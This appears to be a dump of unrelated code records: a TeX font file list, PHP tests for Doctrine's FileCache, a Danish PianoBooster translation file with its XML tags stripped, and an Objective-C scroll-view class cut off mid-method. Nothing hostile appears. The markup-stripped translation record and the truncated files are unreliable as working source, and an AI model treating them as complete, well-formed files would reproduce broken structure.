dis/libris/ylyr8c.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylyr8t.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylyri8c.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylyri8t.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylyriw8t.vf\nshare/texmf-dist/fonts/vf/arkandis/libris/ylyrw8t.vf\nshare/texmf-dist/tex/latex/libris/libris.sty\nshare/texmf-dist/tex/latex/libris/t1yly.fd\nshare/texmf-dist/tex/latex/libris/t1ylyw.fd\nshare/texmf-dist/tex/latex/libris/ts1yly.fd\nshare/texmf-dist/tex/latex/libris/ts1ylyw.fd\n"} -{"text": "driver = $this\n ->getMockBuilder(FileCache::class)\n ->setMethods(['doFetch', 'doContains', 'doSave'])\n ->disableOriginalConstructor()\n ->getMock();\n }\n\n public function testFilenameShouldCreateThePathWithOneSubDirectory() : void\n {\n $cache = $this->driver;\n $method = new ReflectionMethod($cache, 'getFilename');\n $key = 'item-key';\n $expectedDir = '84';\n\n $method->setAccessible(true);\n\n $path = $method->invoke($cache, $key);\n $dirname = pathinfo($path, PATHINFO_DIRNAME);\n\n self::assertEquals(DIRECTORY_SEPARATOR . $expectedDir, $dirname);\n }\n\n public function testFileExtensionCorrectlyEscaped() : void\n {\n $driver1 = $this\n ->getMockBuilder(FileCache::class)\n ->setMethods(['doFetch', 'doContains', 'doSave'])\n ->setConstructorArgs([__DIR__, '.*'])\n ->getMock();\n\n $driver2 = $this\n ->getMockBuilder(FileCache::class)\n ->setMethods(['doFetch', 'doContains', 'doSave'])\n ->setConstructorArgs([__DIR__, '.php'])\n ->getMock();\n\n $doGetStats = new ReflectionMethod($driver1, 'doGetStats');\n\n $doGetStats->setAccessible(true);\n\n $stats1 = $doGetStats->invoke($driver1);\n $stats2 = $doGetStats->invoke($driver2);\n\n self::assertSame(0, $stats1[Cache::STATS_MEMORY_USAGE]);\n self::assertGreaterThan(0, $stats2[Cache::STATS_MEMORY_USAGE]);\n }\n\n /**\n * @group DCOM-266\n */\n public function testFileExtensionSlashCorrectlyEscaped() : void\n {\n $driver = $this\n ->getMockBuilder(FileCache::class)\n ->setMethods(['doFetch', 'doContains', 'doSave'])\n ->setConstructorArgs([__DIR__ . '/../', DIRECTORY_SEPARATOR . basename(__FILE__)])\n ->getMock();\n\n $doGetStats = new ReflectionMethod($driver, 'doGetStats');\n\n $doGetStats->setAccessible(true);\n\n $stats = $doGetStats->invoke($driver);\n\n self::assertGreaterThan(0, $stats[Cache::STATS_MEMORY_USAGE]);\n }\n\n public function testNonIntUmaskThrowsInvalidArgumentException() : void\n {\n $this->expectException(InvalidArgumentException::class);\n\n $this\n ->getMockBuilder(FileCache::class)\n ->setMethods(['doFetch', 'doContains', 'doSave'])\n ->setConstructorArgs(['', '', 'invalid'])\n ->getMock();\n }\n\n public function testGetDirectoryReturnsRealpathDirectoryString() : void\n {\n $directory = __DIR__ . '/../';\n\n $driver = $this\n ->getMockBuilder(FileCache::class)\n ->setMethods(['doFetch', 'doContains', 'doSave'])\n ->setConstructorArgs([$directory])\n ->getMock();\n\n $doGetDirectory = new ReflectionMethod($driver, 'getDirectory');\n\n $actualDirectory = $doGetDirectory->invoke($driver);\n $expectedDirectory = realpath($directory);\n\n self::assertEquals($expectedDirectory, $actualDirectory);\n }\n\n public function testGetExtensionReturnsExtensionString() : void\n {\n $directory = __DIR__ . '/../';\n $extension = DIRECTORY_SEPARATOR . basename(__FILE__);\n\n $driver = $this\n ->getMockBuilder(FileCache::class)\n ->setMethods(['doFetch', 'doContains', 'doSave'])\n ->setConstructorArgs([$directory, $extension])\n ->getMock();\n\n $doGetExtension = new ReflectionMethod($driver, 'getExtension');\n\n $actualExtension = $doGetExtension->invoke($driver);\n\n self::assertEquals($extension, $actualExtension);\n }\n\n public const WIN_MAX_PATH_LEN = 258;\n\n public static function getBasePathForWindowsPathLengthTests(int $pathLength) : string\n {\n // Not using __DIR__ because it can get screwed up when xdebug debugger is attached.\n $basePath = realpath(sys_get_temp_dir()) . '/' . uniqid('doctrine-cache', true);\n\n /** @noinspection MkdirRaceConditionInspection */\n @mkdir($basePath);\n\n $basePath = realpath($basePath);\n\n // Test whether the desired path length is odd or even.\n $desiredPathLengthIsOdd = $pathLength % 2 == 1;\n\n // If the cache key is not too long, the filecache codepath will add\n // a slash and bin2hex($key). The length of the added portion will be an odd number.\n // len(desired) = len(base path) + len(slash . bin2hex($key))\n // odd = even + odd\n // even = odd + odd\n $basePathLengthShouldBeOdd = ! $desiredPathLengthIsOdd;\n\n $basePathLengthIsOdd = strlen($basePath) % 2 == 1;\n\n // If the base path needs to be odd or even where it is not, we add an odd number of\n // characters as a pad. In this case, we're adding '\\aa' (or '/aa' depending on platform)\n // This is all to make it so that the key we're testing would result in\n // a path that is exactly the length we want to test IF the path length limit\n // were not in place in FileCache.\n if ($basePathLengthIsOdd != $basePathLengthShouldBeOdd) {\n $basePath .= DIRECTORY_SEPARATOR . 'aa';\n }\n\n return $basePath;\n }\n\n public static function getKeyAndPathFittingLength(int $length, string $basePath) : array\n {\n $baseDirLength = strlen($basePath);\n $extensionLength = strlen('.doctrine.cache');\n $directoryLength = strlen(DIRECTORY_SEPARATOR . 'aa' . DIRECTORY_SEPARATOR);\n $keyLength = $length - ($baseDirLength + $extensionLength + $directoryLength); // - 1 because of slash\n\n $key = str_repeat('a', floor($keyLength / 2));\n\n $keyHash = hash('sha256', $key);\n\n $keyPath = $basePath\n . DIRECTORY_SEPARATOR\n . substr($keyHash, 0, 2)\n . DIRECTORY_SEPARATOR\n . bin2hex($key)\n . '.doctrine.cache';\n\n $hashedKeyPath = $basePath\n . DIRECTORY_SEPARATOR\n . substr($keyHash, 0, 2)\n . DIRECTORY_SEPARATOR\n . '_' . $keyHash\n . '.doctrine.cache';\n\n return [$key, $keyPath, $hashedKeyPath];\n }\n\n public function getPathLengthsToTest() : array\n {\n // Windows officially supports 260 bytes including null terminator\n // 259 characters is too large due to PHP bug (https://bugs.php.net/bug.php?id=70943)\n // 260 characters is too large - null terminator is included in allowable length\n return [\n [257, false],\n [258, false],\n [259, true],\n [260, true],\n ];\n }\n\n /**\n * @dataProvider getPathLengthsToTest\n * @covers \\Doctrine\\Common\\Cache\\FileCache::getFilename\n */\n public function testWindowsPathLengthLimitationsAreCorrectlyRespected(int $length, bool $pathShouldBeHashed) : void\n {\n if (! defined('PHP_WINDOWS_VERSION_BUILD')) {\n define('PHP_WINDOWS_VERSION_BUILD', 'Yes, this is the \"usual suspect\", with the usual limitations');\n }\n\n $basePath = self::getBasePathForWindowsPathLengthTests($length);\n\n $fileCache = $this->getMockForAbstractClass(\n 'Doctrine\\Common\\Cache\\FileCache',\n [$basePath, '.doctrine.cache']\n );\n\n [$key, $keyPath, $hashedKeyPath] = self::getKeyAndPathFittingLength($length, $basePath);\n\n $getFileName = new ReflectionMethod($fileCache, 'getFilename');\n\n $getFileName->setAccessible(true);\n\n self::assertEquals(\n $length,\n strlen($keyPath),\n sprintf('Path expected to be %d characters long is %d characters long', $length, strlen($keyPath))\n );\n\n if ($pathShouldBeHashed) {\n $keyPath = $hashedKeyPath;\n }\n\n if ($pathShouldBeHashed) {\n self::assertSame(\n $hashedKeyPath,\n $getFileName->invoke($fileCache, $key),\n 'Keys should be hashed correctly if they are over the limit.'\n );\n } else {\n self::assertSame(\n $keyPath,\n $getFileName->invoke($fileCache, $key),\n 'Keys below limit of the allowed length are used directly, unhashed'\n );\n }\n }\n}\n"} -{"text": "\n\n\n\n CDraw\n \n \n C\n \n \n \n \n D\n \n \n \n \n E\n \n \n \n \n F\n \n \n \n \n G\n \n \n \n \n A\n \n \n \n \n B\n \n \n\n\n CGLView\n \n \n Accuracy:\n \n \n \n \n Song:\n Sang:\n \n \n \n Bar:\n \n \n\n\n CSettings\n \n \n space\n mellemrum\n \n \n \n ERROR NO SOUND: To fix this use menu Setup/Midi Setup ...\n \n \n \n \n ERROR NO MIDI FILE: To fix this use menu File/Open ...\n \n \n\n\n CTrackList\n \n \n (None)\n (Ingen)\n \n \n \n Grand Piano\n Flygel\n \n \n \n Bright Piano\n \n \n \n \n Electric Grand\n \n \n \n \n Honky-tonk Piano\n Honky-tonk klaver\n \n \n \n Electric Piano 1\n Elektrisk klaver 1\n \n \n \n Electric Piano 2\n Elektrisk klaver 2\n \n \n \n Harpsichord\n Cembalo\n \n \n \n Clavi\n Claves\n \n \n \n Celesta\n Celeste\n \n \n \n Glockenspiel\n Klokkespil\n \n \n \n Music Box\n \n \n \n \n Vibraphone\n Vibrafon\n \n \n \n Marimba\n Marimba\n \n \n \n Xylophone\n Xylofon\n \n \n \n Tubular Bells\n R\u00f8rklokker\n \n \n \n Dulcimer\n Dulcimer\n \n \n \n Drawbar Organ\n Tr\u00e6korgel\n \n \n \n Percussive Organ\n Percusivt orgel\n \n \n \n Rock Organ\n Rock orgel\n \n \n \n Church Organ\n Kirkeorgel\n \n \n \n Reed Organ\n R\u00f8rbladsorgel\n \n \n \n Accordion\n akkordion\n \n \n \n Harmonica\n Harmonika\n \n \n \n Tango Accordion\n Tango-akkordion\n \n \n \n Acoustic Guitar (nylon)\n Akustisk guitar (nylon)\n \n \n \n Acoustic Guitar (steel)\n Akkustisk guitar (st\u00e5l)\n \n \n \n Electric Guitar (jazz)\n Elektrisk guitar (jazz)\n \n \n \n Electric Guitar (clean)\n Elektrisk guitar (ren)\n \n \n \n Electric Guitar (muted)\n Elektrisk guitar (d\u00e6mpet)\n \n \n \n Overdriven Guitar\n Overdrive guitar\n \n \n \n Distortion Guitar\n Forvr\u00e6nget guitar\n \n \n \n Guitar harmonics\n Guitar flageoletter\n \n \n \n Acoustic Bass\n Akustisk bas\n \n \n \n Electric Bass (finger)\n Elektrisk bas (fingerspil)\n \n \n \n Electric Bass (pick)\n Elektrisk bas (plektrum)\n \n \n \n Fretless Bass\n B\u00e5ndl\u00f8s bas\n \n \n \n Slap Bass 1\n \n \n \n \n Slap Bass 2\n \n \n \n \n Synth Bass 1\n \n \n \n \n Synth Bass 2\n \n \n \n \n Violin\n Violin\n \n \n \n Viola\n Bratsch\n \n \n \n Cello\n Cello\n \n \n \n Contrabass\n Kontrabas\n \n \n \n Tremolo Strings\n Tremolo strygere\n \n \n \n Pizzicato Strings\n Pizzicato strygere\n \n \n \n Orchestral Harp\n Orkesterharpe\n \n \n \n Timpani\n Timpani\n \n \n \n String Ensemble 1\n Strygerensemble 1\n \n \n \n String Ensemble 2\n Strygerensemble 2\n \n \n \n SynthStrings 1\n Synth strygere 1\n \n \n \n SynthStrings 2\n Synth strygere 2\n \n \n \n Choir Aahs\n Kor (aaah)\n \n \n \n Voice Oohs\n Kor (oooh)\n \n \n \n Synth Voice\n Synth-stemme\n \n \n \n Orchestra Hit\n \n \n \n \n Trumpet\n Trompet\n \n \n \n Trombone\n Basun\n \n \n \n Tuba\n Tuba\n \n \n \n Muted Trumpet\n D\u00e6mpet trompet\n \n \n \n French Horn\n Waldhorn\n \n \n \n Brass Section\n Messingsektion\n \n \n \n SynthBrass 1\n Synth messing 1\n \n \n \n SynthBrass 2\n Synth messing 2\n \n \n \n Soprano Sax\n Sopransax\n \n \n \n Alto Sax\n Altsax\n \n \n \n Tenor Sax\n Tenorsax\n \n \n \n Baritone Sax\n Baritonsax\n \n \n \n Oboe\n Obo\n \n \n \n English Horn\n Engelskhorn\n \n \n \n Bassoon\n Fagot\n \n \n \n Clarinet\n Klarinet\n \n \n \n Piccolo\n Piccolo\n \n \n \n Flute\n Fl\u00f8jte\n \n \n \n Recorder\n Blokfl\u00f8jte\n \n \n \n Pan Flute\n Panfl\u00f8jte\n \n \n \n Blown Bottle\n Bl\u00e6s i flaske\n \n \n \n Shakuhachi\n Shakuhachi\n \n \n \n Whistle\n Whistle (fl\u00f8jte)\n \n \n \n Ocarina\n Okarina\n \n \n \n Lead 1 (square)\n \n \n \n \n Lead 2 (sawtooth)\n \n \n \n \n Lead 3 (calliope)\n \n \n \n \n Lead 4 (chiff)\n \n \n \n \n Lead 5 (charang)\n \n \n \n \n Lead 6 (voice)\n Lead 6 (stemme)\n \n \n \n Lead 7 (fifths)\n Lead 7 (kvinter)\n \n \n \n Lead 8 (bass + lead)\n Lead 8 (bas + melodi)\n \n \n \n Pad 1 (new age)\n \n \n \n \n Pad 2 (warm)\n Pad 2 (varm)\n \n \n \n Pad 3 (polysynth)\n \n \n \n \n Pad 4 (choir)\n Pad 4 (kor)\n \n \n \n Pad 5 (bowed)\n Pad 5 (str\u00f8get)\n \n \n \n Pad 6 (metallic)\n \n \n \n \n Pad 7 (halo)\n \n \n \n \n Pad 8 (sweep)\n \n \n \n \n FX 1 (rain)\n FX 1 (regn)\n \n \n \n FX 2 (soundtrack)\n FX 2 (lydspor)\n \n \n \n FX 3 (crystal)\n FX 3 (krystal)\n \n \n \n FX 4 (atmosphere)\n FX 4 (atmosf\u00e6re)\n \n \n \n FX 5 (brightness)\n FX 5 (klar)\n \n \n \n FX 6 (goblins)\n \n \n \n \n FX 7 (echoes)\n FX 7 (ekkoer)\n \n \n \n FX 8 (sci-fi)\n \n \n \n \n Sitar\n \n \n \n \n Banjo\n \n \n \n \n Shamisen\n \n \n \n \n Koto\n \n \n \n \n Kalimba\n \n \n \n \n Bag pipe\n S\u00e6kkepibe\n \n \n \n Fiddle\n Fiol\n \n \n \n Shanai\n \n \n \n \n Tinkle Bell\n Tinkle Bell (lille klokke)\n \n \n \n Agogo\n \n \n \n \n Steel Drums\n Oljet\u00f8nder\n \n \n \n Woodblock\n \n \n \n \n Taiko Drum\n Taiko tromme\n \n \n \n Melodic Tom\n Melodisk tam\n \n \n \n Synth Drum\n Synth tromme\n \n \n \n Reverse Cymbal\n Bagl\u00e6ns b\u00e6kken\n \n \n \n Guitar Fret Noise\n Guitar b\u00e5ndst\u00f8j\n \n \n \n Breath Noise\n \u00c5ndelyde\n \n \n \n Seashore\n P\u00e5 stranden\n \n \n \n Bird Tweet\n Fuglekvidder\n \n \n \n Telephone Ring\n Telefonen ringer\n \n \n \n Helicopter\n Helikopter\n \n \n \n Applause\n Publikum klapper\n \n \n \n Gunshot\n Gev\u00e6rskud\n \n\n\n GuiKeyboardSetupDialog\n \n \n Piano Keyboard Settings\n Ops\u00e6tning for pianotastatur\n \n \n \n Dialog\n \n \n \n \n Setup Your Piano Keyboard\n Ops\u00e6t dit keyboard-klaver\n \n \n \n Right Notes\n H\u00f8jrenoder\n \n \n \n \n sound:\n lyd:\n \n \n \n \n volume:\n lydstyrke:\n \n \n \n \n Test\n \n \n \n \n Wrong Notes\n Forkerte noder\n \n \n \n Keyboard Note Range\n Interval for tastaturnode\n \n \n \n Lowest Note:\n Laveste node:\n \n \n \n \n The note number between 0 and 127\n Nodetallet mellem 0 og 127\n \n \n \n Highest Note:\n H\u00f8jeste node:\n \n \n \n Reset\n Nulstil\n \n \n \n None\n Ingen\n \n \n \n Choose the right and wrong sound for your playing.\n \n \n \n \n You can use the PC keyboard instead of a MIDI keyboard; 'x' is middle C.\n \n \n \n \n Your keyboard range is <b>octaves %1</b> and <b>semitones %2</b>; 60 is middle C.\n \n \n \n \n Oops, you have <b>0 notes</b> on your keyboard!\n \n \n\n\n GuiLoopingPopup\n \n \n Continuous Looping\n Forts\u00e6ttende l\u00f8kke\n \n \n \n Repeat End Bar:\n Gentag sluttaktstreg:\n \n \n \n Repeat Bar is disabled\n Gentagtaktstreg er sl\u00e5et fra\n \n \n \n Form\n Formular\n \n \n \n Repeat Bars:\n Gentagelsestakttegn:\n \n \n \n End bar\n Sluttaktstreg\n \n\n\n GuiMidiSettingsDialog\n \n \n MIDI input && output\n \n \n \n \n Select the MIDI devices\n V\u00e6lg MIDI-enhederne\n \n \n \n Midi Input Device:\n Midi-inputenhed:\n \n \n \n Midi Output Device:\n Midi-outputenhed:\n \n \n \n Sound Fonts\n Lydskrifttyper\n \n \n \n Add\n Tilf\u00f8j\n \n \n \n Remove\n Fjern\n \n \n \n Settings\n Indstillinger\n \n \n \n Audio Device:\n Lydenhed:\n \n \n \n Buffer Counts:\n Mellemlagringst\u00e6lling:\n \n \n \n Master Gain:\n Prim\u00e6r forforst\u00e6rker:\n \n \n \n Buffer Size:\n \n \n \n \n Audio Driver:\n Lyddriver:\n \n \n \n Sample Rate:\n Samplehastighed:\n \n \n \n Reverb\n Rumklang\n \n \n \n Chorus\n Kor\n \n \n \n Latency Fix\n Fiks af forsinkelse\n \n \n \n Latency\n Forsinkelse\n \n \n \n 0 (msec)\n 0 (msek.)\n \n\n\n GuiMidiSetupDialog\n \n \n None (PC Keyboard)\n Ingen (pc-tastatur)\n \n \n \n \n \n None\n Ingen\n \n \n \n Midi Output Device:\n Midi-outputenhed:\n \n \n \n %1 mSec\n %1 mSek\n \n \n \n Enter a value for the latency fix in milliseconds\n Angiv en v\u00e6rdi til rettelse af forsinkelse i millisekunder\n \n \n \n The latency fix works by running the music ahead of what you<br>are playing to counteract the delay within the sound generator.<br><br>You will need a piano <b>with speakers</b> that are <b>turned up</b>.<br><br>Enter the time in milliseconds for the delay (1000 mSec = 1 sec)<br>(For the Microsoft GS Wavetable SW Synth try a value of 150)<br>If you are not sure enter a value of zero.\n Fikset af forsinkelse fungerer ved at afspille musikken tidligere end d\u00e9t<br>du afspiller, for at im\u00f8deg\u00e5 forsinkelsen i lydgeneratoren.<br><br>Du f\u00e5r brug for at klaver <b>med h\u00f8jtalere</b> som er <b>sl\u00e5et til</b>.<br><br>Angiv tiden i millisekunder for forsinkelsen (1000 mSek = 1 sek.)<br>(For Microsoft GS Wavetable SW Synth foresl\u00e5s v\u00e6rdien 150)<br>Hvis du ikke er sikker, s\u00e5 angiv v\u00e6rdien nul.\n \n \n \n SoundFont2 Files (*.sf2)\n SoundFont2-filer (*.sf2)\n \n \n \n Midi Setup\n \n \n \n \n No Sound Output Device selected; Choose a Midi Output Device\n \n \n \n \n \n The use of Midi Through is not recommended!\n \n \n \n \n If you don't have a MIDI keyboard you can use the PC keyboard; 'X' is middle C.\n \n \n \n \n Midi Input Device:\n Midi-inputenhed:\n \n \n \n Note: the Microsoft GS Wavetable Synth introduces an unwanted delay!.\n \n \n \n \n (Try a latency fix of 150msc)\n \n \n \n \n Open SoundFont2 File for fluidsynth\n \u00c5bn SoundFon2-fil for fluidsynth\n \n\n\n GuiPreferencesDialog\n \n \n Dialog\n \n \n \n \n Score Settings\n Indstillinger for noder\n \n \n \n Timing Markers\n Tidsmark\u00f8rer\n \n \n \n Follow stop point:\n F\u00f8lg stoppunkt:\n \n \n \n Show Note Names\n Vis nodenavne\n \n \n \n Courtesy Accidentals\n Hj\u00e6lpefortegn\n \n \n \n Follow Through Errors\n \n \n \n \n Show color coded notes on the score\n \n \n \n \n Color Coded Notes\n \n \n \n \n Music Course\n \n \n \n \n Show Tutor Help Pages\n \n \n \n \n Language\n Sprog\n \n \n \n Language:\n Sprog:\n \n \n \n Preferences\n Pr\u00e6ferencer\n \n \n \n Automatic (Recommended)\n \n \n \n \n On the Beat\n \n \n \n \n After the Beat\n \n \n\n\n GuiSidePanel\n \n \n Form\n Formular\n \n \n \n Book:\n Bog:\n \n \n \n Song:\n Sang:\n \n \n \n Skill\n Evne\n \n \n \n Listen\n Lyt\n \n \n \n Play Along\n Spil med\n \n \n \n Hands\n H\u00e6nder\n \n \n \n Right\n H\u00f8jre\n \n \n \n Both\n Begge\n \n \n \n Left\n Venstre\n \n \n \n Adjust the volume of your piano\n Juster lydstyrken for dit piano\n \n \n \n Repeat song\n \n \n \n \n Rhythm Tapping with:\n \n \n \n \n Parts\n Dele\n \n \n \n Adjust the volume of the selected part\n Juster lydstyrken for den valgte del\n \n \n \n Mute the currently selected part\n Sluk lyden for den valgte del\n \n \n \n Rhythm Tap\n \n \n \n \n Follow You\n Efter dig\n \n \n \n Mute your part when playing\n Sluk lyden for din del under afspilning\n \n \n \n \n Drums\n \n \n \n \n \n Melody\n \n \n \n \n Set as Right Hand Part\n \n \n \n \n Set as Left Hand Part\n \n \n \n \n Reset Both Parts\n \n \n\n\n GuiSongDetailsDialog\n \n \n \n No channel assigned\n Ingen kanal tildelt\n \n \n \n Dialog\n \n \n \n \n \n Song Details\n Sangdetaljer\n \n \n \n MIDI Channels for left and right hand piano parts:\n MIDI-kanaler for venstre og h\u00f8jre h\u00e5nds pianodele:\n \n \n \n Right Hand MIDI Channel:\n H\u00f8jre h\u00e5nds MIDI-kanal:\n \n \n \n Left Hand MIDI Channel:\n Venstre h\u00e5nds MIDI-kanal:\n \n \n \n The left and right hand channels must be different\n \n \n \n \n Both left and right hand channels must be none to disable this feature\n \n \n \n \n Set the MIDI Channels to be used for left and right hand piano parts:\n \n \n \n \n the left hand piano part is using MIDI Channels 1\n \n \n \n \n the right hand piano part is using MIDI Channels 1\n \n \n\n\n GuiTopBar\n \n \n Form\n Formular\n \n \n \n Start playing music from the start\n Start afspilning af musik fra starten\n \n \n \n \n Start and stop playing music\n Start og stop afspilning af musik\n \n \n \n Speed:\n Hastighed:\n \n \n \n Key:\n N\u00f8gle:\n \n \n \n Transpose:\n Transpon\u00e9r:\n \n \n \n Start Bar:\n Starttakttegn:\n \n \n \n Save this Bar Number\n Gem dette taktnummer\n \n \n \n \n Major\n Dur\n \n \n \n \n Minor\n Mol\n \n \n \n Gb\n \n \n \n \n Db\n \n \n \n \n Ab\n Ab\n \n \n \n \n Eb\n Eb\n \n \n \n \n Bb\n \n \n \n \n \n C\n \n \n \n \n \n F#\n \n \n \n \n \n F\n \n \n \n \n \n G\n \n \n \n \n \n D\n \n \n \n \n \n A\n \n \n \n \n \n E\n \n \n \n \n \n B\n \n \n \n \n G#\n \n \n \n \n C#\n c#\n \n \n \n D#\n d#\n \n \n \n Playing music from the beginning\n \n \n\n\n QMessageBox\n \n \n \n Midi File Error\n \n \n \n \n Cannot open "%1"\n \n \n \n \n Midi file "%1" is corrupted\n \n \n \n \n OpenGL support\n \n \n \n \n This system does not support OpenGL which is needed to run Piano Booster.\n \n \n\n\n QObject\n \n \n L\n \n \n \n \n R\n r\n \n \n \n Drums\n \n \n \n \n Unknown\n Ukendt\n \n\n\n QtWindow\n \n \n Piano Booster\n Piano Booster\n \n \n \n \n \n PianoBooster Midi File Error\n \n \n \n \n Cannot open "%1"\n \n \n \n \n "%1" is not a Midi File\n \n \n \n \n "%1" is not a valid Midi file\n \n \n \n \n &Open...\n \u00c5&bn...\n \n \n \n Ctrl+O\n Ctrl+O\n \n \n \n Open an existing file\n \u00c5bn en eksisterende fil\n \n \n \n E&xit\n &Afslut\n \n \n \n Ctrl+Q\n Ctrl+Q\n \n \n \n Exit the application\n Afslut programmet\n \n \n \n &About\n &Om\n \n \n \n Show the application's About box\n Vis programmets om-boks\n \n \n \n &PC Shortcut Keys\n &Pc-genvejstaster\n \n \n \n The PC Keyboard shortcut keys\n Pc-tastaturets genvejstaster\n \n \n \n &Midi Setup ...\n &Midi-ops\u00e6tning ...\n \n \n \n \n Ctrl+S\n Ctrl+S\n \n \n \n Setup the Midi input and output\n Ops\u00e6t ind- og uddata for MIDI\n \n \n \n Piano &Keyboard Setting ...\n Piano&tastaturindstilling ...\n \n \n \n Ctrl+K\n Ctrl+K\n \n \n \n Change the piano keyboard settings\n \n \n \n \n &Fullscreen\n &Fuldsk\u00e6rm\n \n \n \n Fullscreen mode\n \n \n \n \n F11\n F11\n \n \n \n &Show the Side Panel\n \n \n \n \n Show the Left Side Panel\n \n \n \n \n F12\n F12\n \n \n \n Show Piano &Keyboard\n \n \n \n \n Show Piano Keyboard Widget\n \n \n \n \n &Preferences ...\n &Pr\u00e6ferencer ...\n \n \n \n Settings\n Indstillinger\n \n \n \n Ctrl+P\n Ctrl+P\n \n \n \n &Song Details ...\n &Sangdetaljer ...\n \n \n \n Song Settings\n \n \n \n \n Shift+F1\n Skift+F1\n \n \n \n Alt+F1\n Alt+F1\n \n \n \n &File\n &Fil\n \n \n \n &View\n &Vis\n \n \n \n &Song\n &Sang\n \n \n \n Set&up\n &Ops\u00e6tning\n \n \n \n \n &Help\n &Hj\u00e6lp\n \n \n \n \n Piano Booster Help\n Hj\u00e6lp til Piano Booster\n \n \n \n &Website\n &Hjemmeside\n \n \n \n Piano Booster Website\n \n \n \n \n &%1 %2\n &%1 %2\n \n \n \n <h3>Getting Started</h3>\n \n \n \n \n <p>You need a <b>MIDI Piano Keyboard </b> and a <b>MIDI interface</b> for the PC. If you don't have a MIDI keyboard you can still try out PianoBooster using the PC keyboard, 'X' is middle C.</p>\n \n \n \n \n <p>To hear the music you will need a <b>General Midi sound synthesizer</b>. The "Microsoft GS Wavetable software synthesizer" that comes with Windows can be used but it introduces an unacceptable delay (latency). In Linux you can use \n \n \n \n \n or\n \n \n \n \n <p>PianoBooster works best with MIDI files that have separate left and right piano parts using MIDI channels 3 and 4.\n \n \n \n \n <h3>Setting Up</h3>\n \n \n \n \n <p>First use the <i>Setup/Midi Setup</i> menu and in the dialog box select the MIDI input and MIDI output interfaces that match your hardware. \n \n \n \n \n Next use <i>File/Open</i> to open the MIDI file ".mid" or a karaoke ".kar" file. Now select whether you want to just <i>listen</i> to the music or <i>play along</i> on the piano keyboard by setting the <i>skill</i> level on the side panel. Finally when you are ready click the <i>play icon</i> (or press the <i>space bar</i>) to roll the music.\n \n \n \n \n <h3>Hints on Playing the Piano</h3><p>For hints on how to play the piano see: \n \n \n \n \n Piano Hints\n \n \n \n \n <h3>More Information</h3><p>For more help please visit the PianoBooster \n \n \n \n \n website\n \n \n \n \n the PianoBooster\n \n \n \n \n FAQ\n \n \n \n \n and the\n \n \n \n \n user forum\n \n \n \n \n About Piano Booster\n Om Piano Booster\n \n \n \n <b>PianoBooster - Version %1</b> <br><br>\n \n \n \n \n <b>Boost</b> your <b>Piano</b> playing skills!<br><br>\n \n \n \n \n Copyright(c) L. J. Barman, 2008-2013; All rights reserved.<br>\n \n \n \n \n Copyright(c) Fabien Givors, 2018-2019; All rights reserved.<br>\n \n \n \n \n This program is made available under the terms of the GNU General Public License version 3 as published by the Free Software Foundation.<br><br>\n \n \n \n \n This program also contains RtMIDI: realtime MIDI i/o C++ classes<br>\n \n \n \n \n Copyright(c) Gary P. Scavone, 2003-2019; All rights reserved.\n \n \n \n \n space\n mellemrum\n \n \n \n PC Keyboard ShortCuts\n PC-tastaturgenveje\n \n \n \n <h2><center>Keyboard shortcuts</center></h2><p>The following PC keyboard shortcuts have been defined.</p><center><table border='1' cellspacing='0' cellpadding='4' >\n <h2><center>Tastaturgenveje</center></h2><p>De f\u00f8lgende pc-tastaturgenveje er blevet defineret.</p><center><table border='1' cellspacing='0' cellpadding='4' >\n \n \n \n <tr><th>Action</th><th>Key</th></tr>\n <tr><th>Handling</th><th>Tast</th></tr>\n \n \n \n Choose the right hand\n \n \n \n \n Choose both hands\n \n \n \n \n Choose the left Hand\n \n \n \n \n Play from start toggle\n \n \n \n \n Play Pause Toggle\n \n \n \n \n \n Increase the speed by 5%\n \n \n \n \n Change to the Next Song\n \n \n \n \n Change to the Previous Song\n \n \n \n \n Change to the Next Book\n \n \n \n \n Change to the Previous Book\n \n \n \n \n <tr><td>Fake Piano keys</td><td>X is middle C</td></tr></table> </center><br>\n <tr><td>Falske klavertangenter</td><td>X er midte C</td></tr></table> </center><br>\n \n \n \n Open Midi File\n \u00c5bn Midi-fil\n \n \n \n Midi Files\n MIDI filer\n \n \n \n None\n Ingen\n \n\n\n"} -{"text": "//\n// HDScrollJoinView.m\n// HDCollectionView_Example\n//\n// Created by HaoDong chen on 2019/5/29.\n// Copyright \u00a9 2019 donggelaile. All rights reserved.\n//\n\n#import \"HDScrollJoinView.h\"\n#import \nstatic NSString *HDScrollJoinViewContentSize = @\"contentSize\";\nstatic char *HDRelativeOriginalFrameKey;\nstatic char *HDPrivateContentSizeKey;\nstatic char *HDOriginalFrameKey;\nstatic char *HDStopViewMaxXYKey;\n@interface HDScrollJoinView()\n{\n CGPoint currentContentOffset;\n NSArray *currentStopViews;\n}\n@property (nonatomic, strong) NSMutableArray > *innerListArr;\n@property (nonatomic, assign) UICollectionViewScrollDirection scrollDirection;\n@end\n@implementation HDScrollJoinView\n\n- (instancetype)init\n{\n self = [super init];\n if (self) {\n self.delegate = self;\n }\n return self;\n}\n- (instancetype)initWithFrame:(CGRect)frame\n{\n self = [super initWithFrame:frame];\n if (self) {\n self.delegate = self;\n }\n return self;\n}\n- (NSMutableArray> *)innerListArr\n{\n if (!_innerListArr) {\n _innerListArr = @[].mutableCopy;\n }\n return _innerListArr;\n}\n\n- (void)hd_setListViews:(NSArray> *)listViews scrollDirection:(UICollectionViewScrollDirection)scrollDirection\n{\n [self.subviews makeObjectsPerformSelector:@selector(removeFromSuperview)];\n \n [listViews enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {\n BOOL isAdd = NO;\n if ([obj isKindOfClass:[UIView class]] &&\n [obj respondsToSelector:@selector(hd_ScrollJoinViewRealScroll)]&&\n [[obj hd_ScrollJoinViewRealScroll] isKindOfClass:[UIScrollView class]]) {\n \n UIScrollView *sc = [obj hd_ScrollJoinViewRealScroll];\n sc.showsVerticalScrollIndicator = NO;\n sc.showsHorizontalScrollIndicator = NO;\n sc.scrollEnabled = NO;\n [sc addObserver:self forKeyPath:HDScrollJoinViewContentSize options:NSKeyValueObservingOptionNew|NSKeyValueObservingOptionOld context:(__bridge void * _Nullable)(obj)];\n \n isAdd = YES;\n }else if ([obj isKindOfClass:[UIView class]] && [obj respondsToSelector:@selector(hd_subViewStopType)]){\n isAdd = YES;\n }\n\n if (isAdd) {\n [self .innerListArr addObject:obj];\n [self addSubview:(UIView*)obj];\n [self 